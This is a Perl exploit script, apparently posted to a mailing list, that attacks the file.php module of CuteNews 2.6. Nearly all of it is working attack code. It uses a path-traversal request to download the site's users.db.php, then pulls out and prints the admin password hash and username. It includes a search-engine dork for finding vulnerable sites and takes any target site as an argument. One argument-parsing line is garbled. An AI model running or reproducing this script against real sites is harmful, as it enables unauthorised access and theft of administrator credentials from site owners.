!/usr/bin/perl 

#Found by Pr0metheuS 

#Coded by Pr0metheuS 

#CuteNews 2.6 ( module file.php ) 

#Gr33tz-TeaM 

#Dork : inurl:/cutenews/file.php 

use LWP::UserAgent; 

if(@ARGV!=2){ 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "-=-=-= CuteNews Arbitrary File Download -=-=-=-=-\n"; 

    print "-=-=-= By Pr0metheuS -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz - TeaM -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz To : -=-=-=-=-\n"; 

    print "-=-=-= pawel2827, d3d!k, J4Z0, chez, fir3 -=-=-=-=-\n"; 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "USAGE : perl $0 <SITE> <PATH>\n"; 

exit; 

} 

($SITE,$PATH)[EMAIL PROTECTED]; 

$ua = new LWP::UserAgent; 

$ua->agent("Mozilla/8.0"); 

$ua = LWP::UserAgent->new; 

my $req = HTTP::Request->new(GET => 
"$SITE$PATH/file.php?file=../../data/users.db.php"); 

$req->header('Accept' => 'text/html'); 

$res = $ua->request($req); 

$con = $res->content; 

if($res->is_success){ 

if($con =~ /([0-9a-fA-F]{32})/){ 

    $hash = $1; 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "-=-=-= CuteNews Arbitrary File Download -=-=-=-=-\n"; 

    print "-=-=-= By Pr0metheuS -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz - TeaM -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz To : -=-=-=-=-\n"; 

    print "-=-=-= pawel2827, d3d!k, J4Z0, chez, fir3 -=-=-=-=-\n"; 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "_____________________________\n"; 

    print "[+] Exploit Work!\n"; 

    print "[+] Admin Pass : ".$hash."\n"; 

     

$ua2 = new LWP::UserAgent; 

$ua2->agent("Mozilla/8.0"); 

$ua2 = LWP::UserAgent->new; 

my $req2 = HTTP::Request->new(GET => 
"$SITE$PATH/file.php?file=../../data/users.db.php"); 

$req2->header('Accept' => 'text/html'); 

$res2 = $ua2->request($req2); 

$con2 = $res2->content; 

if($con2 =~ /\|.\|(.*)\|$hash\|/){ 

    $user = $1; 

        print "[+] Admin Username : ".$user."\n"; 

            }        

} 

else{ 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "-=-=-= CuteNews Arbitrary File Download -=-=-=-=-\n"; 

    print "-=-=-= By Pr0metheuS -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz - TeaM -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz To : -=-=-=-=-\n"; 

    print "-=-=-= pawel2827, d3d!k, J4Z0, chez, fir3 -=-=-=-=-\n"; 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "_____________________________\n"; 

    print "[+] Connect failed..\n"; 

} 

} 

else{ 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "-=-=-= CuteNews Arbitrary File Download -=-=-=-=-\n"; 

    print "-=-=-= By Pr0metheuS -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz - TeaM -=-=-=-=-\n"; 

    print "-=-=-= Gr33tz To : -=-=-=-=-\n"; 

    print "-=-=-= pawel2827, d3d!k, J4Z0, chez, fir3 -=-=-=-=-\n"; 

    print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n"; 

    print "_____________________________\n"; 

    print "[+] Exploit Failed..\n"; 

}

Reply via email to